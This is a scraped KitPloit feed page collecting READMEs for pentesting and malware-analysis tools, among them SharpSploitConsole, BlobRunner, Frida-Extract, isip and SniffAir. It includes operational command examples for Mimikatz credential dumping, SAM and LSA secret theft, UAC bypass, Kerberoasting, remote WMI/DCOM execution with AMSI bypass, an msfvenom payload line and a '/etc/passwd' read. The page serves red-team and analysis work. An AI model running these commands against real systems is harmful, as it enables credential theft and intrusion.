Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5854 articles
Browse latest View live

DarkSpiritz v2.0 - A Penetration Testing Framework For Linux, MacOS, And Windows Systems

$
0
0

A penetration testing framework for Linux and Windows systems.

What is DarkSpiritz?
Created by the SynTel Team it was a project of one of the owners to update and clean-up an older pentesting framework he had created to something updated and modern. DarkSpiritz is a re-vamp of the very popular framework known as "Roxysploit". You may be familiar with this framework and if you are then it will help you with DarkSpiritz. DarkSpiritz also works like another pentesting framework known as Metasploit. If you know how to use metasploit setting up and working with DarkSpiritz will be a breeze. Inside the program itself you will find a lot of help and documentation on plugins or you can head to our wiki here. If you need any help feel free to contact us at syndicatedintel@protonmail.com.

Syntel Team:
M4cs | @maxbridgland
Ryan | @ryan0x1

Version 2.0 UPDATE (READ IMPORTANT)
This version should run a lot smoother and have a cleaner UI. Check the reddit post here to see all changes: https://www.reddit.com/r/netsec/comments/9skdju/huge_update_to_darkspiritz_pentesting_framework/

Getting Started
Clone the repository with git:
git clone https://github.com/DarkSpiritz/DarkSpiritz.git
DarkSpiritz wiki available here
To install DarkSpiritz clone the github repo and run:
pip install -r requirements.txt
This will download all necessary modules for DarkSpiritz. Once you run this you will be able to run:
python start.py
or
./start.py
(if ./start.py doesn't work run chmod +x start.py from within the same directory as DarkSpiritz.)
You will see a start-up screen. This screen will display things like commands and configuration settings. You can set configuration settings inside the config.xml file itself or through commands in the DarkSpiritz shell.

Features:
These are features that DarkSpiritz Team prides themself on based on this program:
  • Real Time Updating of Configuration
  • Never a need to restart the program even when adding plugins or editing them.
  • Easy to use UX
  • Multi-functionality



Kali Linux 2018.4 Release - Penetration Testing and Ethical Hacking Linux Distribution

$
0
0

Welcome to our fourth and final release of 2018, Kali Linux 2018.4, which is available for immediate download. This release brings kernel up to version 4.18.10, fixes numerous bugs, includes many updated packages, and a very experimental 64-bit Raspberry Pi 3 image.

New Tools and Tool Upgrades

Wireguard is a powerful and easy to configure VPN solution that eliminates many of the headaches one typically encounters setting up VPNs. Check out Wireguard post for more details on this great addition.

Kali Linux 2018.4 also includes updated packages for Burp Suite, Patator, Gobuster, Binwalk, Faraday, Fern-Wifi-Cracker, RSMangler, theHarvester, wpscan, and more. For the complete list of updates, fixes, and additions, please refer to the Kali Bug Tracker Changelog.

64-bit Raspberry Pi 3

Has been created a very experimental Raspberry Pi 3 image that supports 64-bit mode. Please note that this is a beta image, so if you discover anything that isn’t working, please alert on the bug tracker.

Ensuring your Installation is Updated

To double check your version, first make sure your Kali package repositories are correct.
root@kali:~# cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main non-free contrib

Then after running ‘apt -y full-upgrade’, you may require a ‘reboot’ before checking:
root@kali:~# grep VERSION /etc/os-release
VERSION="2018.4"
VERSION_ID="2018.4"
root@kali:~#
root@kali:~# uname -a
Linux kali 4.18.0-kali2-amd64 #1 SMP Debian 4.18.10-2kali1 (2018-10-09) x86_64 GNU/Linux

If you come across any bugs in Kali, please open a report on our bug tracker. We’ll never be able to fix what we don’t know about.

Download Kali Linux 2018.4


If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the Kali Downloads page along with links to the Offensive Security virtual machine and ARM images, which have also been updated to 2018.4. If you already have a Kali installation you’re happy with, you can easily upgrade in place as follows.
root@kali:~# apt update && apt -y full-upgrade


SharpSploitConsole - Console Application Designed To Interact With SharpSploit

$
0
0

Console Application designed to interact with SharpSploit released by @cobbr_io
SharpSploit is a tool written by @cobbr_io that combines many techniques/C# code from the infosec community and combines it into one sweet DLL. It's awesome so check it out!

Description
SharpSploit Console is just a quick proof of concept binary to help penetration testers or red teams with less C# experience play with some of the awesomeness that is SharpSploit. By following the instructions below you should be able to embed both the SharpSploit.dll and System.Management.Automation.dll into the SharpSploitConsole binary, creating a standalone exe you can drop on an appropriate target sytem and run over a non-interactive shell (such as beacon).
This concept can be applied to many C# binaries. For example, we could embed the System.Management.Automation.dll into our favorite C# NoPowershell.exe, creating a binary that doesn't rely on the System.Management.Automation.dll on the target system.

Contact at:
  • Twitter: @anthemtotheego or @g0ldengunsec


Setup - Quick and Dirty
Note: For those of you who don't want to go through the trouble of compiling your own I uploaded an x64 and x86 binary found in the CompiledBinaries folder. For those of you who do want to compile your own... I used Windows 10, Visual Studio 2017 - mileage may vary
  1. Download SharpSploit tool from https://github.com/cobbr/SharpSploit.git
  2. Open up SharpSploit.sln in Visual Studio and compile (make sure to compile for correct architecture) - Should see drop down with Any CPU > Click on it and open Configuration Manager > under platform change to desired architecture and select ok.
  3. Download SharpSploitConsole tool and open up SharpSploitConsole.sln
  4. Copy both SharpSploit.dll and System.Management.Automation.dll found in SharpSploit/bin/x64/Debug directory into SharpSploitConsole/bin/x64/Debug folder
  5. Next we will set up visual studio to embed our DLL's into our exe so we can just have a single binary we can run on our target machine. We will do this by doing the following:
In visual studio:
a. Tools > NuGet Package Manager > Package Manager Console
b. Inside console run:
  Install-Package Costura.Fody
c. Open up notepad and paste the following code below and save it with the name FodyWeavers.xml inside the SharpSploitConsole directory that holds your bin, obj, properties folders.
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
  1. Inside visual studio, right click References on the righthand side, choose Add Reference, then browse to the SharpSploitConsole/bin/x64/Debug directory where we put our two DLL's, select them and add them.
  2. Compile, drop binary on target computer and have fun.

Examples
Note: All commands are case insensitive
By default all commands can be taken in as command line args, they will be executed and the program will exit (great for remote shells). This looks something like the following: sharpSploitConsole.exe getSystem logonPasswords. Alternatively, if you want to use the interactive console mode, you can use the interact command to get a pseudo-interactive shell.
Start interactive console mode:
Interact

Mimikatz all the things (does not run DCSync) - requires admin or system:
Mimi-All

Runs a specific Mimikatz command of your choice - requires admin or system:
Mimi-Command privilege::debug sekurlsa::logonPasswords

Runs the Mimikatz command privilege::debug sekurlsa::logonPasswords - requires admin or system:
logonPasswords

Runs the Mimikatz command to retrieve Domain Cached Credentials hashes from registry - requires admin or system:
LsaCache

Runs the Mimikatz command to retrieve LSA Secrets stored in registry - requires admin or system:
LsaSecrets

Retrieve password hashes from the SAM database - requires admin or system:
SamDump

Retrieve Wdigest credentials from registry - requires admin or system:
Wdigest

Retrieve current user:
whoami

Username

Impersonate system user - requires admin rights:
GetSystem

Impersonate system user - Impersonate the token of a specified process, requires pid - command requires admin rights:
Impersonate 2918

Bypass UAC - requires binary | command | path to binary - requires admin rights:
BypassUAC cmd.exe ipconfig C:\Windows\System32\

BypassUAC cmd.exe "" C:\Windows\System32\

Ends the impersonation of any token, reverts back to initial token associated with current process:
RevertToSelf

Retrieve current working directory:
CurrentDirectory

Retrieve current directory listing:
DirectoryListing

Changes the current directory by appending a specified string to the current working directory:
ChangeDirectory SomeFolder

Retrieve hostname:
Hostname

Retrieve list of running processes:
ProcessList

Creates a minidump of the memory of a running process, requires PID | output location | output name - requires admin:
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp

Retrieve registry path value, requires full path argument:
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber

Write to registry, requires full path argument and value argument:
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1

Retrieve users of local group remotely, requires computername | groupname | username | password:
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!

NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!

Retrieve local groups remotely, requires computername | username | password:
NetLocalGroups computerName domain\username P@55w0rd!

NetLocalGroups 192.168.1.20 .\username P@55w0rd!

Retrieve current logged on users remotely, requires computername | username | password:
NetLoggedOnUsers computerName domain\username P@55w0rd!

NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!

Retrieve user sessions remotely, requires computername | username | password:
NetSessions computerName domain\username P@55w0rd!

NetSessions 192.168.1.20 .\username P@55w0rd!

Ping systems, requires computernames:
Ping computer1 computer2 computer3 computer4

Port scan systems, requires computername | ports:
PortScan computer1 80 443 445 22 23

Get Domain Users, Grabs specified (or all) user objects in the target domain, by default will use current user context. optional arguments: -username -password -domain -server -searchbase -searchstring -target:
GetDomainUsers

Get Domain Groups, Grabs specified (or all) group objects in the target domain, by default will use current user context. optional arguments: -username -password -domain -server -searchbase -searchstring -target:
GetDomainGroups

GetDomainGroups -target "Domain Admins"

Get Domain Computers, Grabs specified (or all) computer objects in the target domain, by default will use current user context. optional arguments: -username -password -domain -server -searchbase -searchstring -target:
GetDomainComputers

Perform Kerberoasting, Performs a kerberoasting attack against targeted (or all) user objects in the target domain, by default will use current user context. optional arguments: -username -password -domain -server -searchbase -searchstring -target
Kerberoast

Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService

Run command remotely via WMI, requires computername | username | password | command - requires admin:
WMI computer1 domain\username P@55w0rd! <entire powershell empire payload>

WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>

Run command remotely via DCOM, requires computername | command | directory | params - requires admin:
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>

Run shell command:
Shell ipconfig /all

Run powershell command while attempting to bypass AMSI, scriptBlock logging, and Module logging:
Powershell -noP -sta -w 1 -enc <Base64>


Currently available options (more to come)
  • Interact : Starts interactive console mode, if you are interacting remotely you may not want to use this option
  • Mimi-All : Executes everything but DCSync, requires admin
  • Mimi-Command : Executes a chosen Mimikatz command
  • logonPasswords : Runs privilege::debug sekurlsa::logonPasswords
  • LsaCache : Retrieve Domain Cached Credentials hashes from registry
  • LsaSecrets : Retrieve LSA secrets stored in registry
  • SamDump : Retrieve password hashes from the SAM database
  • Wdigest : Retrieve Wdigest credentials from registry
  • whoami : Retrieve current user
  • GetSystem : Impersonate system user, requires admin rights
  • Impersonate : Impersonate the token of a specified process, requires pid - command requires admin rights.
  • BypassUAC : Bypass UAC, requires binary | command | path to binary - requires admin rights
  • RevertToSelf : Ends the impersonation of any token, reverts back to initial token associated with current process
  • CurrentDirectory : Retrieve current working directory
  • DirectoryListing : Retrieve current directory listing
  • ChangeDirectory : Changes the current directory by appending a specified string to the current working directory
  • Hostname : Retrieve hostname
  • ProcessList : Retrieve list of running processes
  • ProcDump : Creates a minidump of the memory of a running process, requires PID | output location | output name - requires admin
  • Username : Retrieve current username
  • ReadRegistry : Retrieve registry path value, requires full path argument
  • WriteRegistry : Write to registry, requires full path argument | value
  • NetLocalGroupMembers : Retrieve users of local group remotely, requires computername | groupname | username | password
  • NetLocalGroups : Retrieve local groups remotely, requires computername | username | password
  • NetLoggedOnUsers : Retrieve current logged on users remotely, requires computername | username | password
  • NetSessions : Retrieve user sessions remotely, requires computername | username | password
  • Ping : Ping systems, requires computernames"
  • PortScan : Port scan systems, requires computername | ports
  • GetDomainUsers : Grabs specified (or all) user objects in the target domain, by default will use current user context
  • GetDomainGroups : Grabs specified (or all) group objects in the target domain, by default will use current user context
  • GetDomainComputers : Grabs specified (or all) computer objects in the target domain, by default will use current user context
  • Kerberoast : Performs a kerberoasting attack against targeted (or all) user objects in the target domain, by default will use current user context
  • WMI : Run command remotely via WMI, requires computername | username | password | command | requires admin
  • DCOM : Run command remotely via DCOM, requires computername | command | directory | params - requires admin
  • Shell : Run a shell command
  • Powershell : Runs a powershell command while attempting to bypass AMSI, scriptBlock logging, and Module logging


BFuzz - Fuzzing Browsers (Chrome & Firefox)

$
0
0

BFuzz is an input based fuzzer tool which take .html as an input, open's up your browser with a new instance and pass multiple testcases generated by domato which is present in recurve folder of BFuzz, more over BFuzz is an automation which performs same task repeatedly.

Run BFuzz
warmachine@ftw:~/BFuzz$ ./generate.sh
warmachine@ftw:~/BFuzz$ python BFuzz.py
Enter the browser type:
1: Chrome
2: Firefox
>>
Running python BFuzz.py will ask for option weather to fuzz Chrome or Firefox, however if selected 2 this will open firefoxfirefox --new-instance and randomly open any of the testcase from recurve create the logs on the terminal wait for 3 seconds again it will open firefox and the same process continue so on.
BFuzz is a small .py script which enable's to open browser run testcase for 12 seconds then close wait for 3 seconds and again follow the same process.

Domato
The testcase's in recurve are generated by domato generator.py contains the main script. It uses grammar.py as a library and contains additional helper code for DOM fuzzing.
grammar.py contains the generation engine that is mostly application-agnostic and can thus be used in other (i.e. non-DOM) generation-based fuzzers. As it can be used as a library, its usage is described in a separate section below.
.txt files contain grammar definitions. There are 3 main files, html.txt, css.txt and js.txt which contain HTML, CSS and JavaScript grammars, respectively. These root grammar files may include content from other files.

Bug showcase
Epiphany Web 3.28.1: CVE-2018-11396
Mozilla Firefox: Stack based buffer overflow bug ID: 1456083 [Went DUPLICATE]

View in action



Frida-Extract - Frida.re Based RunPE (And MapViewOfSection) Extraction Tool

$
0
0

FridaExtract is a Frida.re based RunPE extraction tool. RunPE type injection is a common technique used by malware to hide code within another process. It also happens to be the final stage in a lot of packers : )
NOTE: Frida now also supports extraction of injected PE files using the "MapViewOfSection" technique best described here.
Using FridaExtract you can automatically extract and reconstruct a PE file that has been injected using the RunPE method... and bypass these packers!

Why Frida?
There are tons of great tools that already extract RunPE injected code, FridaExtract is not better than these. But it is easier to install, easier to build (lol), easier to run, and easier to hack. No compilers, no build environments, just a simple "pip install" and you're up and running.
The code is specifically commented and organized to act as a template for you to build your own Frida projects. This is more of a proof of concept that demonstrates how to setup hooks in a Windows environment. Please copy-paste-hack this any way you like!

Getting Started
Warning: FridaExtract only works under Windows 32bit. There are currently some mystery bugs with wow64 so we recommend sticking to Windows7 32bit or Windows Server 2008 32bit.
  • First start a VM (see warning above) if you are going to be unpacking malware.
  • Install Python 2.7
  • Remember to set your python and pip paths ; )
  • Install Frida by typing pip install frida in cmd
  • Clone this repository and you are ready to extract!

Extracting PE Files
FridaExtract is only able to extract RunPE injected PE files so it is fairly limited. If you are using a VM that is easy to snapshot-run-revert then you can just try FridaExtract blindly on every malware sample and see what comes out but we don't recommend it. Instead, FridaExtract is good compliment to a sandbox (we <3 malwr). First run the sample in a sandbox and note the API calls.
For RunPE technique if you see the following API calls then FridaExtract may be the tool for you:
  • CreateProcess
  • WriteVirtualMemory (to remote process)
  • ResumeThread (in remote process)
For the MapViewOfSection technique if you see the following API calls then FridaExtract may be the tool for you:
  • CreateProcess
  • NtCreateSection
  • NtUnmapViewOfSection (remote process)
  • NtMapViewOfSection (remote process)

Examples
By default FridaExtract will attempt to automatically extract the injected PE file, reconstruct it, and dump it to a file called dump.bin.
python FridaExtract.py bad.exe

Dump To File
A dump file can be specified using the --out_file command.
python FridaExtract.py bad.exe --out_file extracted.exe

Pass Arguments
If the packed PE file you are attempting to extract requires arguments you can pass them using the --args command. Multiple arguments can be passed as comma separated.
python FridaExtract.py bad.exe --args password

Dump Raw
FridaExtract will automatically attempt to reconstruct the dumped memory into a PE file. If this isn't working and you just want a raw dump of all memory written to the subprocess you can use the --raw command. Instead of writing the reconstructed PE to the dump file the raw memory segments will be written in order of address.
python FridaExtract.py bad.exe --raw

Verbose
FridaExtract uses hooks on the following APIs to extract the injected PE file:
  • ExitProcess
  • NtWriteVirtualMemory
  • NtCreateThread
  • NtResumeThread
  • NtDelayExecution
  • CreateProcessInternalW
  • NtMapViewOfSection
  • NtUnmapViewOfSection
  • NtCreateSection
To trace these APIs and print the results use the -v or --verbose command.
python FridaExtract.py bad.exe --verbose

Caveats
Frida uses userland hooks that can easily be bypassed. If you need a more robust DBI tool try PIN! A great example of using PIN to extract RunPE is provided by here.
Frida injects a javascript runtime into the process you are analyzing, it is not stealthy. For a decent overview of how Frida may be detected by malware check this out.

Acknowledgments
  • Huge thanks to @oleavr for helping me with my endless questions about Frida
  • Hat tip to @skier_t for his awesome PE rebuilding script and so much more!

Feedback / Help
  • Any questions, comments, requests hit us up on twitter: @herrcore or @seanmw
  • Anything Frida specific find us lurking on IRC: #frida at irc.freenode.net
  • Pull requests welcome!


Frida-Wshook - Script Analysis Tool Based On Frida.re

$
0
0

frida-wshook is an analysis and instrumentation tool which uses frida.re to hook common functions often used by malicious script files which are run using WScript/CScript.
The tool intercepts Windows API functions and doesn't implement function stubs or proxies within the targeted scripting language. This allows it to support analyzing a few different script types such as:
By default script files are run using cscript.exe and will output:
  • COM ProjIds
  • DNS Requests
  • Shell Commands
  • Network Requests
Warning!!! Ensure that you run any malicious scripts on a dedicated analysis system. Ideally, a VM with snapshots so you can revert if a script gets away from you and you need to reset the system.
Although common methods have been hooked, Windows provides numerous APIs which allow developers to interact with a network, file system and execute commands. So it is entirely possible to encounter scripts leveraging uncommon APIs for these functions.

Install & Setup
pip install frida
  • Clone (or download) the frida-wshook repository.

Supported OS
frida-wshook has been tested on Windows 10 and Windows 7 and should work on any Windows 7 + environment. On x64 systems CScript is loaded from the C:\Windows\SysWow64 directory.
It may work on WindowsXP, but I suspect that CScript may use the legacy API calls and would bypass the instrumentation.

Usage
The script supports a number of optional commandline arguments that allow you to control what APIs the scripting host can call.
usage: frida-wshook.py [-h] [--debug] [--disable_dns] [--disable_com_init]
[--enable_shell] [--disable_net]
script

frida-wshook.py your friendly WSH Hooker

positional arguments:
script Path to target .js/.vbs file

optional arguments:
-h, --help show this help message and exit
--debug Output debug info
--disable_dns Disable DNS Requests
--disable_com_init Disable COM Object Id Lookup
--enable_shell Enable Shell Commands
--disable_net Disable Network Requests
Analyze a script with the default parameters:
python wshook.py bad.js
Enable verbose debugging:
python wshook.py --debug bad.js
Enable shell (execute) commands:
python frida-wshook.py --enable_shell bad.vbs
Disable WSASend:
python frida-wshook.py --disable_net bad.vbs
Check what ProgIds the script uses:
python frida-wshook.py --disable_com_init bad.vbs

Hooked Functions

Known Issues
  • Network responses are not captured
  • Disabling Object Lookup can cause the script to only output the first ProgId...Malware QA can be lacking.
  • WSF files with a specific job to target currently isn't supported

TODO
  • Change GetAddrInfoExW to use .replace instead of .attach
  • Add additional tracing and hooks to cover more APIs
  • Look at bypassing common anti-analysis techniques found in scripts (sleeps etc)
  • Update and improve network request hooking (ie: currently it captures requests, but not responses)

Feedback / Help
Any questions, comments or requests you can find us on twitter: @seanmw or @herrcore


ADModule - Microsoft Signed ActiveDirectory PowerShell Module

$
0
0
Microsoft signed DLL for the ActiveDirectory PowerShell module
Just a backup for the Microsoft's ActiveDirectory PowerShell module from Server 2016 with RSAT and module installed. The DLL is usually found at this path: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management
and the rest of the module files at this path: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\

Usage
You can copy this DLL to your machine and use it to enumerate Active Directory without installing RSAT and without having administrative privileges.
PS C:> Import-Module C:\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose


To be able to list all the cmdlets in the module, import the module as well. Remember to import the DLL first.
PS C:> Import-Module C:\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose
PS C:> Import-Module C:\AD\Tools\ADModule\ActiveDirectory\ActiveDirectory.psd1
PS C:> Get-Command -Module ActiveDirectory

Benefits
There are many benefits like very low chances of detection by AV, very wide coverage by cmdlets (I leave the usage of cmdlets for a later post :P), good filters for cmdlets, signed by Microsoft etc. The most useful one, however, is that this module works flawlessly from PowerShell's Constrained Language Mode


Blog
https://www.labofapenetrationtester.com/2018/10/domain-enumeration-from-PowerShell-CLM.html


FindYara - IDA Python Plugin To Scan Binary With Yara Rules

$
0
0
Use this IDA python plugin to scan your binary with yara rules. All the yara rule matches will be listed with their offset so you can quickly hop to them!
All credit for this plugin and the code goes to David Berard (@p0ly)
This plugin is copied from David's excellent findcrypt-yara plugin. This plugin just extends his to use any yara rule.

Installation

Watch the tutorial video!
Yara Rules With IDA Pro">


Usage

Launch the plugin
The plugin can be launched from the menu using Edit->Plugins->FindYara. Or the plugin can be quickly launched using the hot-key combination ctl-alt-y.


Select a Yara file to scan with
When the plugin launches it will open a file selection dialogue box. You will need to use this to choose the yara file that you want to scan with.


View matches
All of the strings from the yara rule that match the binary will be displayed along with the match locations.


Acknowledgments
  • A huge thank you to David Berard (@p0ly) - Follow him on GitHub here! This is mostly his code and he gets all the credit for the original plugin framework.
  • Also, hat tip to Alex Hanel @nullandnull - Follow him on GitHub here. Alex helped me sort through how the IDC methods are being used. His IDA Python book is a fantastic reference!!

Feedback / Help
  • Any questions, comments, requests hit me up on twitter: @herrcore
  • Pull requests welcome!



BlobRunner - Quickly Debug Shellcode Extracted During Malware Analysis

$
0
0

BlobRunner is a simple tool to quickly debug shellcode extracted during malware analysis.
BlobRunner allocates memory for the target file and jumps to the base (or offset) of the allocated memory. This allows an analyst to quickly debug into extracted artifacts with minimal overhead and effort.

To use BlobRunner, you can download the compiled executable from the releases page or build your own using the steps below.

Building
Building the executable is straight forward and relatively painless.
Requirements
  • Download and install Microsoft Visual C++ Build Tools or Visual Studio
Build Steps
  • Open Visual Studio Command Prompt
  • Navigate to the directory where BlobRunner is checked out
  • Build the executable by running:
cl blobrunner.c

Building BlobRunner x64
Building the x64 version is virtually the same as above, but simply uses the x64 tooling.
  • Open x64 Visual Studio Command Prompt
  • Navigate to the directory where BlobRunner is checked out
  • Build the executable by running:
 cl /Feblobrunner64.exe /Foblobrunner64.out blobrunner.c

Usage
To debug:
  • Open BlobRunner in your favorite debugger.
  • Pass the shellcode file as the first parameter.
  • Add a breakpoint before the jump into the shellcode
  • Step into the shellcode
BlobRunner.exe shellcode.bin
Debug into file at a specific offset.
BlobRunner.exe shellcode.bin --offset 0x0100
Debug into file and don't pause before the jump. Warning: Ensure you have a breakpoint set before the jump.
BlobRunner.exe shellcode.bin --nopause

Debugging x64 Shellcode
Inline assembly isn't supported by the x64 compiler, so to support debugging into x64 shellcode the loader creates a suspended thread which allows you to place a breakpoint at the thread entry, before the thread is resumed.

Remote Debugging Shell Blobs (IDAPro)
The process is virtually identical to debugging shellcode locally - with the exception that the you need to copy the shellcode file to the remote system. If the file is copied to the same path you are running win32_remote.exe from, you just need to use the file name for the parameter. Otherwise, you will need to specify the path to the shellcode file on the remote system.

Shellcode Samples
You can quickly generate shellcode samples using the Metasploit tool msfvenom.
Generating a simple Windows exec payload.
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -o test2.bin

Feedback / Help
  • Any questions, comments or requests you can find us on twitter: @seanmw or @herrcore
  • Pull requests welcome!


Isip - Interactive Sip Toolkit For Packet Manipulations, Sniffing, Man In The Middle Attacks, Fuzzing, Simulating Of Dos Attacks

$
0
0
Interactive sip toolkit for packet manipulations, sniffing, man in the middle attacks, fuzzing, simulating of dos attacks.

Video


Setup
git clone https://github.com/halitalptekin/isip.git
cd isip
pip install -r requirements.txt

Usage
  • Packet manipulation tools are in packet cmd loop. First start, you are in the main cmd loop.
isip:main> packet
isip:packet>
  • Create a new sip packet with new command. If you don't write name, isip create the packet named by message-{id}.
isip:packet> new
isip:packet> new r1
  • List the all created sip packets with list command.
isip:packet> list
  • Show properties of packets with show command. You can type ip, udp or sip with show command.
isip:packet> show message-1
isip:packet> show message-1 ip
isip:packet> show message-1 udp
isip:packet> show message-1 sip
isip:packet> show message-1 ip src
isip:packet> show message-1 udp sport
isip:packet> show message-1 sip uri
isip:packet> show message-1 sip headers.to
  • Set the properties of packets with set command. You can type ip, udp or sip and properties label with show command.
isip> set message-1 ip src 12.12.12.12
isip> set message-1 udp sport 4545
isip> set message-1 sip method OPTIONS
isip> set message-1 sip headers.from "blabla"
  • Set the random properties of packets with set command. You can use with random-headers-from, random-headers-to, random-headers-call-id, random-headers-max-forwards, random-headers-user-agent, random-headers-contact, random-headers-invite-cseq, random-headers-register-cseq commands.
isip:packet> set message-1 ip src random-ip
isip:packet> set message-1 udp sport random-port
isip:packet> set message-1 sip headers.from random-headers-from
isip:packet> set message-1 sip headers.to random-headers-to
isip:packet> set message-1 sip headers.contact random-headers-contact
isip:packet> set message-1 sip body random-data 50
  • Send the packet with send command.
isip:packet> send message-1 1
isip:packet> send message-1 150
  • Parse the text file to packet with parse command.
isip:packet> parse test/test1.txt r1
  • Load the packets from pcap file with load command. If you don't write name, isip create the packet named by message-{id}.
isip:packet> load test.pcap r1
isip:packet> load test.pcap
  • Save the packets tp pcap file with save command. You can save the packet list just single command.
isip:packet> save r1 test.pcap
isip:packet> save r2 test.pcap # assume you have r2.0, r2.1, r2.2, r2.3 ...
  • Open the wireshark for packets with wireshark command.
isip:packet> wireshark r1
isip:packet> wireshark r2 # assume you have r2.0, r2.1, r2.2, r2.3 ...
  • List the history with hist command.
isip:packet> hist
  • Execute the shell command with shell or !.
isip:packet> shell ls -la
isip:packet> ! cat /etc/passwd
  • Show the help page with ? or help command.
isip> ?
isip> help
isip:packet> ?
isip:packet> help
isip:packet> help new
isip:packet> help send
isip:packet> help set
isip:packet> help show


SniffAir - A Framework For Wireless Pentesting

$
0
0

SniffAir is an open-source wireless security framework which provides the ability to easily parse passively collected wireless data as well as launch sophisticated wireless attacks. SniffAir takes care of the hassle associated with managing large or multiple pcap files while thoroughly cross-examining and analyzing the traffic, looking for potential security flaws. Along with the prebuilt queries, SniffAir allows users to create custom queries for analyzing the wireless data stored in the backend SQL database. SniffAir is built on the concept of using these queries to extract data for wireless penetration test reports. The data can also be leveraged in setting up sophisticated wireless attacks included in SniffAir as modules.
SniffAir is developed by @Tyl0us and @theDarracott

Install
SniffAir was developed with Python version 2.7
Tested and supported on Kali Linux, Debian and Ubuntu.
To install run the setup.sh script
$./setup.sh

Usage
                                                                     % *        ., %                         
% ( ,# (..# %
/@@@@@&, *@@% &@, @@# /@@@@@@@@@ .@@@@@@@@@. ,/ # # (%%%* % (.(. .@@ &@@@@@@%.
.@@& *&@ %@@@@. &@, @@% %@@,,,,,,, ,@@,,,,,,, .( % % %%# # % # ,@@ @@(,,,#@@@.
%@% %@@(@@. &@, @@% %@@ ,@@ /* # /*, %.,, ,@@ @@* #@@
,@@& %@@ ,@@* &@, @@% %@@ ,@@ .# //#(, (, ,@@ @@* &@%
.@@@@@. %@@ .@@( &@, @@% %@@%%%%%%* ,@@%%%%%%# (# ##. ,@@ @@&%%%@@@%
*@@@@ %@@ .@@/ &@, @@% %@@,,,,,, ,@@,,,,,,. %#####% ,@@ @@(,,%@@%
@@% %@@ @@( &@, @@% %@@ ,@@ % (*/ # ,@@ @@* @@@
%@% %@@ @@&&@, @@% %@@ ,@@ % # .# .# ,@@ @@* @@%
.@@&/,,#@@@ %@@ &@@@, @@% %@@ ,@@ /(* /(# ,@@ @@* @@#
*%@@@&* *%# ,%# #%/ *%# %% #############. .%# #%. .%%
(@Tyl0us & @theDarracott)

>> [default]# help
Commands
========
workspace Manages workspaces (create, list, load, delete)
live_capture Initiates a valid wireless interface to collect wireless pakcets to be parsed (requires the interface name)
offline_capture Begins parsing wireless packets using a pcap file-kismet .pcapdump work best (requires the full path)
offline_capture_list Begins parsing wireless packets using a list of pcap file-kismet .pcapdump work best (requires the full path)
query Executes a query on the contents of the acitve workspace
help Displays this help menu
clear Clears the screen
show Shows the contents of a table, specific information across all tables or the available modules
inscope Add ESSID to scope. inscope [ESSID]
SSID_Info Displays all information (i.e all BSSID, Channels and Encrpytion) related to the inscope SSIDS
use Use a SniffAir module
info Displays all variable information regarding the selected module
set Sets a variable in module
exploit Runs the loaded module
run Runs the loaded module
exit Exit SniffAir
>> [default]#

Begin
First create or load a new or existing workspace using the command workspace create <workspace> or workspace load <workspace> command. To view all existing workspaces use the workspace list command and workspace delete <workspace> command to delete the desired workspace:
>>  [default]# workspace
Manages workspaces
Command Option: workspaces [create|list|load|delete]
>> [default]# workspace create demo
[+] Workspace demo created
Load data into a desired workplace from a pcap file using the command offline_capture <the full path to the pcap file>. To load a series of pcap files use the command offline_capture_list <the full path to the file containing the list of pcap name> (this file should contain the full patches to each pcap file). Use the live_capture <interface name> command to capture live wireless traffic using a wireless interface.
>>  [demo]# offline_capture /root/sniffair/demo.pcapdump
[+] Importing /root/sniffair/demo.pcapdump
\
[+] Completed
[+] Cleaning Up Duplicates
[+] ESSIDs Observed

Show Command
The show command displays the contents of a table, specific information across all tables or the available modules, using the following syntax:
>>  [demo]# show table AP
+------+-----------+-------------------+-------------------------------+--------+-------+-------+----------+--------+
| ID | ESSID | BSSID | VENDOR | CHAN | PWR | ENC | CIPHER | AUTH |
|------+-----------+-------------------+-------------------------------+--------+-------+-------+----------+--------|
| 1 | HoneyPot | c4:6e:1f:##:##:## | TP-LINK TECHNOLOGIES CO. LTD. | 4 | -17 | WPA2 | TKIP | MGT |
| 2 | Demo | 80:2a:a8:##:##:## | Ubiquiti Networks Inc. | 11 | -19 | WPA2 | CCMP | PSK |
| 3 | Demo5ghz | 82:2a:a8:##:##:## | Unknown | 36 | -27 | WPA2 | CCMP | PSK |
| 4 | HoneyPot1 | c4:6e:1f:##:##:## | TP-LINK TECHNOLOGIES CO. LTD. | 36 | -29 | WPA2 | TKIP | PSK |
| 5 | BELL456 | 44:e9:dd:##:##:## | Sagemcom Broadband SAS | 6 | -73 | WPA2 | CCMP | PSK |
+------+-----------+-------------------+-------------------------------+--------+-------+-------+----------+--------+
>> [demo]# show SSIDS
---------
HoneyPot
Demo
HoneyPot1
BELL456
Hidden
Demo5ghz
---------
The query command can be used to display a unique set of data based on the parememters specificed. The query command uses sql syntax.

Inscope
the inscope <SSID> command can be used to add a SSID to the inscope tables, loading all related data to the inscope_AP, inscope_proberequests and inscope_proberesponses tables. To view a summary of all inscope SSIDS run the SSID_Info command.

Modules
Modules can be used to analyze the data contained in the workspaces or perform offensive wireless attacks using the use <module name> command. For some modules additional variables may need to be set. They can be set using the set command set <variable name> <variable value>:
>>  [demo]# show modules
Available Modules
=================
[+] Auto EAP - Automated Brute-Force Login Attack Against EAP Networks
[+] Auto PSK - Automated Brute-Force Passphrase Attack Against PSK Networks
[+] AP Hunter - Discover Access Point Within a Certain Range Using a Specific Type of Encrpytion
